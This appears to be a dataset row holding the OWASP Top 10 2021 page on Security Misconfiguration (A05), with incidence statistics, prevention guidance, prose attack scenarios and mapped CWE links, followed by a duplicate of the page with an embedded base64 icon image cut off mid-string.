[CWE-1173 Improper Use of Validation Framework](https://cwe.mitre.org/data/definitions/1173.html)
|
A05_2021-Security_Misconfiguration.md | ./Top10/2021/docs/A05_2021-Security_Misconfiguration.md | # A05:2021 – Security Misconfiguration ![icon](assets/TOP_10_Icons_Final_Security_Misconfiguration.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 20 | 19.84% | 4.51% | 8.12 | 6.56 | 89.58% | 44.84% | 208,387 | 789 |
## Overview
Moving up from #6 in the previous edition, 90% of applications were
tested for some form of misconfiguration, with an average incidence rate of 4.%, and over 208k occurrences of a Common Weakness Enumeration (CWE) in this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up.
Notable CWEs included are *CWE-16 Configuration* and *CWE-611 Improper
Restriction of XML External Entity Reference*.
## Description
The application might be vulnerable if the application is:
- Missing appropriate security hardening across any part of the
application stack or improperly configured permissions on cloud
services.
- Unnecessary features are enabled or installed (e.g., unnecessary
ports, services, pages, accounts, or privileges).
- Default accounts and their passwords are still enabled and
unchanged.
- Error handling reveals stack traces or other overly informative
error messages to users.
- For upgraded systems, the latest security features are disabled or
not configured securely.
- The security settings in the application servers, application
frameworks (e.g., Struts, Spring, ASP.NET), libraries, databases,
etc., are not set to secure values.
- The server does not send security headers or directives, or they are
not set to secure values.
- The software is out of date or vulnerable (see [A06:2021-Vulnerable
and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components.md)).
Without a concerted, repeatable application security configuration
process, systems are at a higher risk.
## How to Prevent
Secure installation processes should be implemented, including:
- A repeatable hardening process makes it fast and easy to deploy
another environment that is appropriately locked down. Development,
QA, and production environments should all be configured
identically, with different credentials used in each environment.
This process should be automated to minimize the effort required to
set up a new secure environment.
- A minimal platform without any unnecessary features, components,
documentation, and samples. Remove or do not install unused features
and frameworks.
- A task to review and update the configurations appropriate to all
security notes, updates, and patches as part of the patch management
process (see [A06:2021-Vulnerable
and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components.md)). Review
cloud storage permissions (e.g., S3 bucket permissions).
- A segmented application architecture provides effective and secure
separation between components or tenants, with segmentation,
containerization, or cloud security groups (ACLs).
- Sending security directives to clients, e.g., Security Headers.
- An automated process to verify the effectiveness of the
configurations and settings in all environments.
## Example Attack Scenarios
**Scenario #1:** The application server comes with sample applications
not removed from the production server. These sample applications have
known security flaws attackers use to compromise the server. Suppose one
of these applications is the admin console, and default accounts weren't
changed. In that case, the attacker logs in with default passwords and
takes over.
**Scenario #2:** Directory listing is not disabled on the server. An
attacker discovers they can simply list directories. The attacker finds
and downloads the compiled Java classes, which they decompile and
reverse engineer to view the code. The attacker then finds a severe
access control flaw in the application.
**Scenario #3:** The application server's configuration allows detailed
error messages, e.g., stack traces, to be returned to users. This
potentially exposes sensitive information or underlying flaws such as
component versions that are known to be vulnerable.
**Scenario #4:** A cloud service provider (CSP) has default sharing
permissions open to the Internet by other CSP users. This allows
sensitive data stored within cloud storage to be accessed.
## References
- [OWASP Testing Guide: Configuration
Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)
- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)
- [Application Security Verification Standard V14 Configuration](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x22-V14-Config.md)
- [NIST Guide to General Server
Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)
- [CIS Security Configuration
Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
- [Amazon S3 Bucket Discovery and
Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)
## List of Mapped CWEs
[CWE-2 7PK - Environment](https://cwe.mitre.org/data/definitions/2.html)
[CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)
[CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)
[CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)
[CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)
[CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)
[CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)
[CWE-520 .NET Misconfiguration: Use of Impersonation](https://cwe.mitre.org/data/definitions/520.html)
[CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)
[CWE-537 Java Runtime Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/537.html)
[CWE-541 Inclusion of Sensitive Information in an Include File](https://cwe.mitre.org/data/definitions/541.html)
[CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)
[CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)
[CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)
[CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)
[CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)
[CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)
[CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)
[CWE-1032 OWASP Top Ten 2017 Category A6 - Security Misconfiguration](https://cwe.mitre.org/data/definitions/1032.html)
[CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)
| 7,941 | 0.007575 | # A05:2021 – Security Misconfiguration ![icon](data:image/png;base64,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